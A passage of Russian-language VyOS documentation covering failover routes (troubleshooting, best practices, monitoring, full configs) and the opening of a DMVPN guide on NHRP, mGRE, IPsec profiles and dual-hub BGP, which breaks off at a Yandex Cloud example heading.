```bash
# Проверка ICMP с source interface
ping <target> source-address <interface-ip>

# Tcpdump для анализа
monitor traffic interface <interface> filter icmp
```

**Диагностика ARP**:

```bash
# Проверка ARP таблицы
show arp

# Очистка ARP cache
reset arp interface <interface> address <target>
```

**Диагностика TCP**:

```bash
# Проверка TCP порта
telnet <target> <port>

# Проверка с curl
run curl -v --connect-timeout 5 http://<target>:<port>
```

**Типичные причины**:
- Firewall на target блокирует ICMP
- Target не отвечает на ARP
- TCP порт закрыт или filtered
- Source routing проблемы
- Asymmetric routing

**Решение**:

```bash
# Изменить тип проверки
set protocols failover route <subnet> next-hop <ip> check type tcp
set protocols failover route <subnet> next-hop <ip> check port 443

# Или использовать другой target
set protocols failover route <subnet> next-hop <ip> check target '<new-target>'

commit
```

### Асимметричная маршрутизация

**Проблема**: Входящий и исходящий трафик идут разными путями.

**Диагностика**:

```bash
# Traceroute в обе стороны
traceroute <destination>

# На удаленном хосте
traceroute <local-address>
```

**Решение - Policy Based Routing**:

```bash
# Маршрутизация на основе source address
set policy route PBR rule 10 source address '<subnet>'
set policy route PBR rule 10 set table 100

set protocols static table 100 route 0.0.0.0/0 next-hop <specific-gateway>

# Применение к интерфейсу
set interfaces ethernet <interface> policy route PBR

commit
```

## Лучшие практики

### Выбор Health Check параметров

**Timeout**:
- **3-5 секунд** - для критичных каналов, требующих быстрого failover
- **10 секунд** - стандартное значение (по умолчанию)
- **20-30 секунд** - для нестабильных каналов, избегание flapping

**Тип проверки**:
- **ICMP** - для общей проверки связности (стандартный выбор)
- **ARP** - для локальных gateway в той же L2 сети
- **TCP** - для проверки конкретного сервиса

**Target выбор**:
- Используйте стабильные, всегда доступные targets (8.8.8.8, 1.1.1.1)
- Для критичных маршрутов используйте несколько targets с all-available
- Для общих маршрутов используйте any-available

### Метрики и приоритеты

**Правило**: Разница в метриках должна быть достаточной для четкого приоритета.

```bash
# Хорошо: четкая иерархия
metric 10, 20, 30, 50, 100

# Плохо: слишком близкие значения
metric 10, 11, 12, 13
```

**Рекомендуемая схема**:
- Primary: 10
- Secondary: 20
- Tertiary: 30
- Emergency backup: 100

### Избегание Flapping

**Используйте hysteresis**:

```bash
# Несколько targets с all-available
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '1.1.1.1'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check policy 'all-available'
```

Маршрут удаляется только если все targets недоступны.

**Адекватный timeout**:

```bash
# Не слишком агрессивный
set protocols failover route <subnet> next-hop <ip> check timeout 15
```

### Документирование

**Используйте description**:

```bash
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 description 'Primary-ISP-Fiber-1Gbps'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 description 'Backup-ISP-Cable-100Mbps'
```

### Мониторинг и алертинг

**Настройка syslog**:

```bash
set system syslog global facility protocols level info
set system syslog host 192.168.1.100 facility protocols level warning
```

**Логирование failover событий**:

```bash
# Все события попадают в syslog
show log | match failover
```

### Тестирование Failover

**Регулярное тестирование**:

```bash
# Симуляция отказа - временное отключение интерфейса
set interfaces ethernet eth0 disable
commit

# Проверка переключения
show ip route

# Восстановление
delete interfaces ethernet eth0 disable
commit
```

**Тестирование с контролируемым трафиком**:

```bash
# Непрерывный ping во время теста
monitor ping 8.8.8.8
```

### Комбинирование с другими технологиями

**Failover + VRRP**:
- VRRP для локального gateway redundancy
- Failover для upstream маршрутов

**Failover + NAT**:
- Убедитесь что NAT правила применяются к обоим интерфейсам
- Используйте masquerade для автоматической адаптации

**Failover + VPN**:
- Health check должен проверять конечный хост за VPN
- Используйте TCP check для критичных VPN сервисов

## Сравнение с альтернативами

### Failover vs Static Routes + Distance

**Static routes + distance**:
```bash
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1 distance 10
set protocols static route 0.0.0.0/0 next-hop 198.51.100.1 distance 20
```

**Проблемы**:
- Нет автоматического failover
- Backup route активируется только если Primary nexthop unreachable (not pingable)
- Медленное обнаружение отказов

**Failover routes**:
```bash
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.1 check target '8.8.8.8' metric 10
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.1 check target '8.8.8.8' metric 20
```

**Преимущества**:
- Активный мониторинг
- Быстрое обнаружение
- Проверка реальной связности

### Failover vs BFD

**BFD**:
```bash
set protocols bfd peer 203.0.113.1 interval transmit 300
set protocols static route 0.0.0.0/0 next-hop 203.0.113.1 bfd
```

**Преимущества BFD**:
- Очень быстрое обнаружение (миллисекунды)
- Протокол мониторинга
- Двунаправленная проверка

**Преимущества Failover**:
- Проще в настройке
- Не требует поддержки BFD на nexthop
- Гибкие типы проверок (ICMP, ARP, TCP)
- Может проверять end-to-end связность

**Когда использовать BFD**:
- Критичные приложения требующие sub-second failover
- Nexthop поддерживает BFD
- Нужна двунаправленная проверка

**Когда использовать Failover**:
- Nexthop не поддерживает BFD
- Нужна проверка конкретного сервиса (TCP)
- Простота важнее скорости

### Failover vs динамические протоколы (OSPF/BGP)

**OSPF/BGP**:
- Автоматическая маршрутизация
- Быстрая конвергенция
- Масштабируемость

**Failover routes**:
- Ручная настройка
- Контролируемое поведение
- Простота

**Когда использовать Failover**:
- Простые топологии (2-3 маршрута)
- Stub networks
- ISP не поддерживает BGP
- Нужен полный контроль

**Когда использовать динамические протоколы**:
- Сложные топологии
- Множественные пути
- Требуется быстрая адаптация
- Enterprise сети

## Производительность и ограничения

### Производительность

**Health check overhead**:
- ICMP: минимальный (2 пакета каждые N секунд)
- ARP: минимальный (2 пакета каждые N секунд)
- TCP: средний (полный 3-way handshake)

**CPU impact**:
- Незначительный для 10-20 failover маршрутов
- Возрастает с количеством маршрутов и частотой проверок

**Рекомендации**:
- До 50 failover маршрутов на стандартном оборудовании
- Timeout ≥ 5 секунд для минимального overhead

### Ограничения

**Технические**:
- Нет поддержки IPv6 failover routes (только IPv4)
- Один check type на маршрут
- Ограниченные типы проверок (ICMP, ARP, TCP)

**Операционные**:
- Скорость переключения: секунды (зависит от timeout)
- Нет stateful failover для TCP соединений
- Может вызывать асимметричную маршрутизацию

## Интеграция с системами мониторинга

### SNMP Monitoring

```bash
configure

# Включение SNMP
set service snmp community public authorization ro
set service snmp community public network 192.168.1.0/24
set service snmp listen-address 192.168.1.1

commit
```

**Мониторинг через SNMP**:
- IP-MIB::ipRouteTable - таблица маршрутизации
- IF-MIB::ifOperStatus - статус интерфейсов

### Syslog Integration

```bash
# Отправка failover событий на syslog сервер
set system syslog host 192.168.1.100 facility protocols level info
set system syslog host 192.168.1.100 port 514
set system syslog host 192.168.1.100 protocol udp
```

### Custom Scripts

Интеграция с event handler для автоматических действий:

```bash
set system event-handler event failover filter pattern 'failover.*REMOVED'
set system event-handler event failover script path '/config/scripts/failover-alert.sh'
```

**Пример скрипта** `/config/scripts/failover-alert.sh`:

```bash
#!/bin/bash
# Отправка уведомления при failover
MESSAGE="Failover event detected on $(hostname) at $(date)"
echo "$MESSAGE" | mail -s "VyOS Failover Alert" admin@example.com
```

## Примеры полной конфигурации

### Enterprise Branch Office

Полная конфигурация для филиала с dual ISP и VPN.

```bash
configure

# Интерфейсы
set interfaces ethernet eth0 address '203.0.113.10/30'
set interfaces ethernet eth0 description 'ISP1-Primary'

set interfaces ethernet eth1 address '198.51.100.10/30'
set interfaces ethernet eth1 description 'ISP2-Backup'

set interfaces ethernet eth2 address '192.168.100.1/24'
set interfaces ethernet eth2 description 'LAN'

# Failover default routes
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 check target '1.1.1.1'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 check policy 'any-available'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 interface 'eth0'
set protocols failover route 0.0.0.0/0 next-hop 203.0.113.9 metric 10

set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 check target '8.8.8.8'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 check target '1.1.1.1'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 check policy 'any-available'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 check type 'icmp'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 interface 'eth1'
set protocols failover route 0.0.0.0/0 next-hop 198.51.100.9 metric 20

# NAT
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.100.0/24'
set nat source rule 100 translation address 'masquerade'

set nat source rule 200 outbound-interface name 'eth1'
set nat source rule 200 source address '192.168.100.0/24'
set nat source rule 200 translation address 'masquerade'

# Firewall
set firewall zone LAN interface 'eth2'
set firewall zone WAN1 interface 'eth0'
set firewall zone WAN2 interface 'eth1'

set firewall zone WAN1 from LAN firewall name LAN-to-WAN
set firewall zone WAN2 from LAN firewall name LAN-to-WAN

set firewall name LAN-to-WAN default-action accept
set firewall name LAN-to-WAN enable-default-log

# Syslog
set system syslog global facility protocols level info
set system syslog host 192.168.100.50 facility all level warning

commit
save
```

## Следующие шаги

- [Static Routes](/docs/vyos/routing/vyos-static/) - базовая статическая маршрутизация
- [OSPF](/docs/vyos/routing/vyos-ospf/) - динамическая маршрутизация в enterprise
- [BGP](/docs/vyos/routing/vyos-bgp/) - для подключения к ISP
- [BFD](/docs/vyos/routing/vyos-bfd/) - быстрое обнаружение отказов
- [VPN](/docs/vyos/vpn/) - для защищенных туннелей
- [High Availability](/docs/vyos/ha/) - VRRP для gateway redundancy


---

# DMVPN - Dynamic Multipoint VPN в VyOS

Source: https://opennix.org/docs/vyos/vpn/vyos-dmvpn/


DMVPN (Dynamic Multipoint VPN) - технология создания динамических mesh VPN сетей с автоматическим установлением туннелей между spoke узлами без необходимости предварительной конфигурации всех возможных соединений.

## Обзор

DMVPN объединяет три ключевые технологии для создания масштабируемых и гибких VPN сетей:

1. **NHRP (Next Hop Resolution Protocol)** - RFC 2332
   - Протокол динамического разрешения адресов для NBMA сетей
   - Позволяет spoke узлам находить друг друга для прямых туннелей
   - Регистрация и запросы адресов через NHS (Next Hop Server)

2. **mGRE (Multipoint GRE)** - RFC 1702
   - Multipoint Generic Routing Encapsulation
   - Один туннельный интерфейс для множества удаленных peer
   - Динамическое создание туннелей без предварительной конфигурации

3. **IPsec** - RFC 4301
   - Шифрование и аутентификация GRE трафика
   - Защита данных в туннелях
   - IKE для обмена ключами

### Ключевые возможности

- **Динамические туннели**: Spoke узлы автоматически создают прямые туннели между собой
- **Масштабируемость**: Добавление новых spoke без изменения конфигурации существующих
- **Spoke-to-Spoke**: Прямые туннели между spoke без транзита через hub
- **Отказоустойчивость**: Поддержка нескольких hub для redundancy
- **Простая конфигурация**: Минимальная настройка на spoke узлах
- **Динамическая маршрутизация**: Интеграция с BGP/EIGRP/OSPF

### Архитектура

```
                  ┌─────────────┐
                  │   Hub (NHS) │
                  │ 203.0.113.1 │
                  └──────┬──────┘
                         │
        ┌────────────────┼────────────────┐
        │                │                │
   ┌────▼────┐      ┌────▼────┐     ┌────▼────┐
   │ Spoke 1 │      │ Spoke 2 │     │ Spoke 3 │
   │  .10    │◄────►│  .20    │◄───►│  .30    │
   └─────────┘      └─────────┘     └─────────┘

   Spoke-to-Spoke туннели создаются автоматически
```

**Преимущества перед традиционным VPN**:
- Не требуется N×(N-1)/2 туннелей для full mesh
- Hub масштабируется до сотен spoke
- Spoke добавляются без изменения конфигурации hub
- Автоматическая оптимизация маршрутов (spoke-to-spoke)

## Компоненты DMVPN

### Hub (NHS - Next Hop Server)

**Функции**:
- Центральная точка регистрации для spoke узлов
- База данных NHRP mapping (tunnel IP ↔ NBMA IP)
- Обработка NHRP resolution requests
- Отправка redirect для spoke-to-spoke tunnels
- Маршрутизация трафика между spoke (до создания direct tunnel)

**Требования**:
- Статический публичный IP адрес
- Всегда доступен для spoke узлов
- Должен принимать NHRP registrations

### Spoke

**Функции**:
- Регистрация своего tunnel IP ↔ NBMA IP mapping на NHS
- NHRP resolution requests для поиска других spoke
- Создание динамических spoke-to-spoke туннелей
- Обработка NHRP redirect от hub

**Требования**:
- Может иметь динамический публичный IP
- Должен достигать hub через интернет
- Инициирует NHRP регистрацию и IPsec соединения

## Фазы DMVPN

VyOS поддерживает DMVPN Phase 2 и Phase 3 функциональность:

### Phase 2 - Spoke-to-Spoke on Demand

**Характеристики**:
- Spoke имеют специфичные маршруты для сетей за другими spoke
- Hub может инициировать NHRP redirect
- Spoke создают direct tunnel после redirect от hub
- Требуется summarization на hub для маршрутов

**Конфигурация на Hub**:
- `set protocols nhrp tunnel tun0 redirect`

**Конфигурация на Spoke**:
- `set protocols nhrp tunnel tun0 shortcut`

### Phase 3 - Spoke-to-Spoke with Summarization

**Характеристики**:
- Spoke используют default или summary маршруты
- NHRP redirect работает с summarized routes
- Более масштабируемо (меньше маршрутов)
- Автоматическое создание spoke-to-spoke после первого пакета

**Отличия от Phase 2**:
- На spoke один summary маршрут вместо множества специфичных
- Hub анонсирует summary/default route
- Redirect работает без необходимости специфичных маршрутов

## Конфигурация Hub

### Базовая конфигурация Hub

```bash
# Tunnel интерфейс
set interfaces tunnel tun0 address '10.255.0.1/24'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '203.0.113.1'
set interfaces tunnel tun0 parameters ip key '1'

# NHRP на Hub
set protocols nhrp tunnel tun0 cisco-authentication 'SecretNHRP123'
set protocols nhrp tunnel tun0 holding-time '300'
set protocols nhrp tunnel tun0 multicast 'dynamic'
set protocols nhrp tunnel tun0 redirect

# Разрешить GRE на firewall
set firewall ipv4 input filter rule 200 action 'accept'
set firewall ipv4 input filter rule 200 protocol 'gre'
set firewall ipv4 input filter rule 200 description 'Allow GRE for DMVPN'

# Разрешить IPsec
set firewall ipv4 input filter rule 210 action 'accept'
set firewall ipv4 input filter rule 210 protocol 'esp'
set firewall ipv4 input filter rule 210 description 'Allow ESP for IPsec'

set firewall ipv4 input filter rule 211 action 'accept'
set firewall ipv4 input filter rule 211 destination port '500'
set firewall ipv4 input filter rule 211 protocol 'udp'
set firewall ipv4 input filter rule 211 description 'Allow ISAKMP'

set firewall ipv4 input filter rule 212 action 'accept'
set firewall ipv4 input filter rule 212 destination port '4500'
set firewall ipv4 input filter rule 212 protocol 'udp'
set firewall ipv4 input filter rule 212 description 'Allow NAT-T'

commit
save
```

### Параметры NHRP на Hub

#### cisco-authentication

NHRP authentication password (максимум 8 символов):

```bash
set protocols nhrp tunnel tun0 cisco-authentication 'MySecret1'
```

**Важно**: Пароль должен совпадать на hub и всех spoke.

#### holding-time

Время жизни NHRP registration entry (в секундах):

```bash
set protocols nhrp tunnel tun0 holding-time '300'
```

По умолчанию: 600 секунд. Spoke должны re-register до истечения.

#### multicast

Обработка multicast трафика:

```bash
set protocols nhrp tunnel tun0 multicast 'dynamic'
```

Опции:
- **dynamic**: Автоматическая репликация multicast к зарегистрированным spoke
- **nhs**: Отправка multicast только к NHS (для spoke)
- Не указывать: Multicast не обрабатывается

Необходимо для динамической маршрутизации (OSPF/EIGRP) через DMVPN.

#### redirect

Отправка NHRP redirect spoke узлам для создания direct tunnels:

```bash
set protocols nhrp tunnel tun0 redirect
```

Включает DMVPN Phase 2/3 функциональность.

### Параметры Tunnel интерфейса на Hub

#### address

IP адрес в DMVPN сети (host address с prefix):

```bash
set interfaces tunnel tun0 address '10.255.0.1/24'
```

Рекомендуется использовать приватные сети (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).

#### encapsulation

Тип инкапсуляции (для DMVPN используется GRE):

```bash
set interfaces tunnel tun0 encapsulation 'gre'
```

Для DMVPN всегда GRE (multipoint).

#### multicast enable

Включить multicast на туннеле:

```bash
set interfaces tunnel tun0 multicast 'enable'
```

Необходимо для NHRP multicast replication и динамической маршрутизации.

#### source-address

Локальный IP адрес для туннеля (NBMA address):

```bash
set interfaces tunnel tun0 source-address '203.0.113.1'
```

Должен быть публичным IP или IP на WAN интерфейсе.

#### parameters ip key

GRE key для идентификации туннеля:

```bash
set interfaces tunnel tun0 parameters ip key '1'
```

Должен совпадать на hub и всех spoke. Значение: 0-4294967295.

#### mtu

Максимальный размер пакета в туннеле:

```bash
set interfaces tunnel tun0 mtu '1400'
```

По умолчанию: 1476 (1500 - 24 байт GRE header). Уменьшите если есть IPsec (до 1400).

#### description

Описание интерфейса:

```bash
set interfaces tunnel tun0 description 'DMVPN Hub to Spoke Network'
```

## Конфигурация Spoke

### Базовая конфигурация Spoke

```bash
# Tunnel интерфейс
set interfaces tunnel tun0 address '10.255.0.10/24'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '198.51.100.10'
set interfaces tunnel tun0 parameters ip key '1'

# NHRP на Spoke
set protocols nhrp tunnel tun0 cisco-authentication 'SecretNHRP123'
set protocols nhrp tunnel tun0 map '10.255.0.1/24' nbma-address '203.0.113.1'
set protocols nhrp tunnel tun0 map '10.255.0.1/24' register
set protocols nhrp tunnel tun0 nhs '10.255.0.1'
set protocols nhrp tunnel tun0 shortcut
set protocols nhrp tunnel tun0 multicast 'nhs'

# Firewall (аналогично hub)
set firewall ipv4 input filter rule 200 action 'accept'
set firewall ipv4 input filter rule 200 protocol 'gre'

set firewall ipv4 input filter rule 210 action 'accept'
set firewall ipv4 input filter rule 210 protocol 'esp'

set firewall ipv4 input filter rule 211 action 'accept'
set firewall ipv4 input filter rule 211 destination port '500'
set firewall ipv4 input filter rule 211 protocol 'udp'

set firewall ipv4 input filter rule 212 action 'accept'
set firewall ipv4 input filter rule 212 destination port '4500'
set firewall ipv4 input filter rule 212 protocol 'udp'

commit
save
```

### Параметры NHRP на Spoke

#### nhs

Адрес Next Hop Server (Hub tunnel IP):

```bash
set protocols nhrp tunnel tun0 nhs '10.255.0.1'
```

Можно указать несколько NHS для redundancy:

```bash
set protocols nhrp tunnel tun0 nhs '10.255.0.1'
set protocols nhrp tunnel tun0 nhs '10.255.0.2'
```

#### map

Статический NHRP mapping (tunnel IP → NBMA IP):

```bash
set protocols nhrp tunnel tun0 map '10.255.0.1/32' nbma-address '203.0.113.1'
```

**Назначение**: Указывает spoke как достичь hub до установления NHRP.

**Опции map**:
- **register**: Автоматическая регистрация spoke на NHS

```bash
set protocols nhrp tunnel tun0 map '10.255.0.1/24' register
```

#### shortcut

Разрешить создание spoke-to-spoke shortcuts:

```bash
set protocols nhrp tunnel tun0 shortcut
```

Включает DMVPN Phase 2/3 - spoke будут создавать прямые туннели после redirect от hub.

#### multicast nhs

Отправка multicast трафика к NHS:

```bash
set protocols nhrp tunnel tun0 multicast 'nhs'
```

Необходимо для динамической маршрутизации на spoke (OSPF/EIGRP).

### Параметры Tunnel интерфейса на Spoke

Аналогичны hub с отличиями:

```bash
# Уникальный tunnel IP для каждого spoke
set interfaces tunnel tun0 address '10.255.0.10/24'  # Spoke 1
set interfaces tunnel tun0 address '10.255.0.20/24'  # Spoke 2
set interfaces tunnel tun0 address '10.255.0.30/24'  # Spoke 3

# source-address - локальный публичный IP spoke
set interfaces tunnel tun0 source-address '198.51.100.10'

# Остальные параметры идентичны hub
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 parameters ip key '1'
```

## IPsec интеграция

DMVPN обычно комбинируется с IPsec для шифрования GRE трафика.

### IPsec профиль для DMVPN

VyOS использует IPsec профили привязанные к туннельным интерфейсам:

```bash
# IPsec профиль
set vpn ipsec profile DMVPN-PROFILE authentication mode 'pre-shared-secret'
set vpn ipsec profile DMVPN-PROFILE authentication pre-shared-secret 'MyIPsecSecret123'
set vpn ipsec profile DMVPN-PROFILE bind tunnel 'tun0'
set vpn ipsec profile DMVPN-PROFILE esp-group 'DMVPN-ESP'
set vpn ipsec profile DMVPN-PROFILE ike-group 'DMVPN-IKE'

# ESP группа (шифрование)
set vpn ipsec esp-group DMVPN-ESP lifetime '3600'
set vpn ipsec esp-group DMVPN-ESP mode 'transport'
set vpn ipsec esp-group DMVPN-ESP pfs 'dh-group2'
set vpn ipsec esp-group DMVPN-ESP proposal 1 encryption 'aes256'
set vpn ipsec esp-group DMVPN-ESP proposal 1 hash 'sha256'

# IKE группа (key exchange)
set vpn ipsec ike-group DMVPN-IKE ikev2-reauth
set vpn ipsec ike-group DMVPN-IKE key-exchange 'ikev2'
set vpn ipsec ike-group DMVPN-IKE lifetime '28800'
set vpn ipsec ike-group DMVPN-IKE proposal 1 dh-group '14'
set vpn ipsec ike-group DMVPN-IKE proposal 1 encryption 'aes256'
set vpn ipsec ike-group DMVPN-IKE proposal 1 hash 'sha256'

commit
save
```

### Параметры IPsec

#### ESP Group (Encryption)

**mode transport**:
```bash
set vpn ipsec esp-group DMVPN-ESP mode 'transport'
```

Для DMVPN всегда используется transport mode (IPsec шифрует GRE, а не создает свой туннель).

**encryption**:
```bash
set vpn ipsec esp-group DMVPN-ESP proposal 1 encryption 'aes256'
```

Рекомендуемые: aes256, aes128, aes256gcm128

**hash**:
```bash
set vpn ipsec esp-group DMVPN-ESP proposal 1 hash 'sha256'
```

Рекомендуемые: sha256, sha384, sha512

**PFS (Perfect Forward Secrecy)**:
```bash
set vpn ipsec esp-group DMVPN-ESP pfs 'dh-group14'
```

Опции: dh-group2, dh-group5, dh-group14, dh-group19, dh-group20

#### IKE Group (Key Exchange)

**IKEv2**:
```bash
set vpn ipsec ike-group DMVPN-IKE key-exchange 'ikev2'
```

IKEv2 рекомендуется для DMVPN (лучше для NAT traversal, быстрее reconnect).

**DH Group**:
```bash
set vpn ipsec ike-group DMVPN-IKE proposal 1 dh-group '14'
```

Минимум group 14 (2048-bit) для безопасности.

**Dead Peer Detection**:
```bash
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection action 'restart'
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection interval '30'
set vpn ipsec ike-group DMVPN-IKE dead-peer-detection timeout '120'
```

Автоматическое восстановление при обрыве туннеля.

### Привязка профиля к туннелю

IPsec профиль автоматически применяется к туннелю:

```bash
set vpn ipsec profile DMVPN-PROFILE bind tunnel 'tun0'
```

После commit все GRE пакеты через tun0 автоматически шифруются IPsec.

## Network ID

Network ID группирует DMVPN туннели в логические сети:

```bash
set protocols nhrp tunnel tun0 network-id '1'
```

**Применение**:
- Изоляция разных DMVPN сетей на одном роутере
- Несколько DMVPN туннелей с разными network-id
- Spoke регистрируется только на NHS с matching network-id

**Пример с несколькими network-id**:

```bash
# Туннель для production
set interfaces tunnel tun0 ...
set protocols nhrp tunnel tun0 network-id '1'

# Туннель для development
set interfaces tunnel tun1 ...
set protocols nhrp tunnel tun1 network-id '2'
```

## Динамическая маршрутизация с DMVPN

DMVPN обычно комбинируется с протоколами динамической маршрутизации для автоматического обмена маршрутами.

### BGP через DMVPN

BGP наиболее популярен для DMVPN сетей (особенно service provider).

**Конфигурация Hub**:

```bash
# BGP на Hub
set protocols bgp system-as '65000'
set protocols bgp parameters router-id '10.255.0.1'

# Spoke 1
set protocols bgp neighbor '10.255.0.10' remote-as '65001'
set protocols bgp neighbor '10.255.0.10' address-family ipv4-unicast

# Spoke 2
set protocols bgp neighbor '10.255.0.20' remote-as '65002'
set protocols bgp neighbor '10.255.0.20' address-family ipv4-unicast

# Spoke 3
set protocols bgp neighbor '10.255.0.30' remote-as '65003'
set protocols bgp neighbor '10.255.0.30' address-family ipv4-unicast

# Анонсирование сетей
set protocols bgp address-family ipv4-unicast network '192.168.0.0/24'
```

**Конфигурация Spoke**:

```bash
# BGP на Spoke 1
set protocols bgp system-as '65001'
set protocols bgp parameters router-id '10.255.0.10'

# Neighbor - Hub
set protocols bgp neighbor '10.255.0.1' remote-as '65000'
set protocols bgp neighbor '10.255.0.1' address-family ipv4-unicast

# Анонсирование локальной сети
set protocols bgp address-family ipv4-unicast network '192.168.1.0/24'
```

**Преимущества BGP**:
- Масштабируемость (сотни spoke)
- Гибкая политика маршрутизации
- Next-hop self на hub для spoke-to-spoke
- Поддержка атрибутов (communities, AS-path)

### OSPF через DMVPN

OSPF требует broadcast/multicast, DMVPN поддерживает через NHRP multicast.

**Конфигурация Hub**:

```bash
set interfaces tunnel tun0 ip ospf network 'broadcast'
set interfaces tunnel tun0 ip ospf priority '255'

set protocols ospf area '0' network '10.255.0.0/24'
set protocols ospf area '0' network '192.168.0.0/24'
set protocols ospf parameters router-id '10.255.0.1'
```

**Конфигурация Spoke**:

```bash
set interfaces tunnel tun0 ip ospf network 'broadcast'
set interfaces tunnel tun0 ip ospf priority '0'

set protocols ospf area '0' network '10.255.0.0/24'
set protocols ospf area '0' network '192.168.1.0/24'
set protocols ospf parameters router-id '10.255.0.10'
```

**Важно**:
- Hub должен быть DR (priority 255)
- Spoke - DROther (priority 0)
- NHRP multicast dynamic на hub
- NHRP multicast nhs на spoke

### EIGRP через DMVPN

EIGRP хорошо подходит для DMVPN (особенно в Cisco-compatible окружении).

**Примечание**: VyOS использует FRR, который не поддерживает EIGRP напрямую. Для EIGRP используйте BGP или OSPF.

## Dual-Hub Redundancy

Для критичных сетей настраивается несколько hub для отказоустойчивости.

### Топология Dual-Hub

```
         ┌─────────────┐        ┌─────────────┐
         │   Hub 1     │        │   Hub 2     │
         │ 203.0.113.1 │        │ 203.0.113.2 │
         │ 10.255.0.1  │        │ 10.255.0.2  │
         └──────┬──────┘        └──────┬──────┘
                │                      │
       ┌────────┼──────────────────────┼────────┐
       │        │                      │        │
  ┌────▼────┐  │                      │   ┌────▼────┐
  │ Spoke 1 │  │                      │   │ Spoke 3 │
  │  .10    │  │                      │   │  .30    │
  └─────────┘  │                      │   └─────────┘
               │                      │
          ┌────▼────┐                 │
          │ Spoke 2 │                 │
          │  .20    │◄────────────────┘
          └─────────┘
```

### Конфигурация Hub 1

```bash
# Tunnel tun0
set interfaces tunnel tun0 address '10.255.0.1/24'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '203.0.113.1'
set interfaces tunnel tun0 parameters ip key '1'

# NHRP Hub 1
set protocols nhrp tunnel tun0 cisco-authentication 'SecretNHRP123'
set protocols nhrp tunnel tun0 holding-time '300'
set protocols nhrp tunnel tun0 multicast 'dynamic'
set protocols nhrp tunnel tun0 redirect

# IPsec
set vpn ipsec profile DMVPN-PROFILE authentication mode 'pre-shared-secret'
set vpn ipsec profile DMVPN-PROFILE authentication pre-shared-secret 'MyIPsecSecret123'
set vpn ipsec profile DMVPN-PROFILE bind tunnel 'tun0'
set vpn ipsec profile DMVPN-PROFILE esp-group 'DMVPN-ESP'
set vpn ipsec profile DMVPN-PROFILE ike-group 'DMVPN-IKE'

# BGP для dual-hub
set protocols bgp system-as '65000'
set protocols bgp parameters router-id '10.255.0.1'
set protocols bgp neighbor '10.255.0.2' remote-as '65000'  # Hub 2 iBGP
set protocols bgp neighbor '10.255.0.2' address-family ipv4-unicast

commit
save
```

### Конфигурация Hub 2

Аналогично Hub 1 с изменением адресов:

```bash
set interfaces tunnel tun0 address '10.255.0.2/24'
set interfaces tunnel tun0 source-address '203.0.113.2'

set protocols bgp parameters router-id '10.255.0.2'
set protocols bgp neighbor '10.255.0.1' remote-as '65000'  # Hub 1 iBGP
```

### Конфигурация Spoke для Dual-Hub

Spoke конфигурируется с двумя NHS:

```bash
# Tunnel
set interfaces tunnel tun0 address '10.255.0.10/24'
set interfaces tunnel tun0 encapsulation 'gre'
set interfaces tunnel tun0 multicast 'enable'
set interfaces tunnel tun0 source-address '198.51.100.10'
set interfaces tunnel tun0 parameters ip key '1'

# NHRP с двумя NHS
set protocols nhrp tunnel tun0 cisco-authentication 'SecretNHRP123'
set protocols nhrp tunnel tun0 shortcut
set protocols nhrp tunnel tun0 multicast 'nhs'

# Hub 1
set protocols nhrp tunnel tun0 map '10.255.0.1/32' nbma-address '203.0.113.1'
set protocols nhrp tunnel tun0 map '10.255.0.1/32' register
set protocols nhrp tunnel tun0 nhs '10.255.0.1'

# Hub 2
set protocols nhrp tunnel tun0 map '10.255.0.2/32' nbma-address '203.0.113.2'
set protocols nhrp tunnel tun0 map '10.255.0.2/32' register
set protocols nhrp tunnel tun0 nhs '10.255.0.2'

# IPsec
set vpn ipsec profile DMVPN-PROFILE authentication mode 'pre-shared-secret'
set vpn ipsec profile DMVPN-PROFILE authentication pre-shared-secret 'MyIPsecSecret123'
set vpn ipsec profile DMVPN-PROFILE bind tunnel 'tun0'
set vpn ipsec profile DMVPN-PROFILE esp-group 'DMVPN-ESP'
set vpn ipsec profile DMVPN-PROFILE ike-group 'DMVPN-IKE'

# BGP к обоим hub
set protocols bgp system-as '65001'
set protocols bgp parameters router-id '10.255.0.10'
set protocols bgp neighbor '10.255.0.1' remote-as '65000'  # Hub 1
set protocols bgp neighbor '10.255.0.1' address-family ipv4-unicast
set protocols bgp neighbor '10.255.0.2' remote-as '65000'  # Hub 2
set protocols bgp neighbor '10.255.0.2' address-family ipv4-unicast

# Анонсирование локальной сети
set protocols bgp address-family ipv4-unicast network '192.168.1.0/24'

commit
save
```

**Failover**:
- Spoke регистрируется на обоих NHS
- BGP соседства с обоими hub
- При отказе Hub 1 - автоматическое переключение на Hub 2
- Spoke-to-spoke tunnels продолжают работать

## Практический пример: Yandex Cloud Service Provider Hub

### Сценарий

Service provider размещает DMVPN hub в Yandex Cloud для подключения множества клиентских филиалов.

**Топология**:
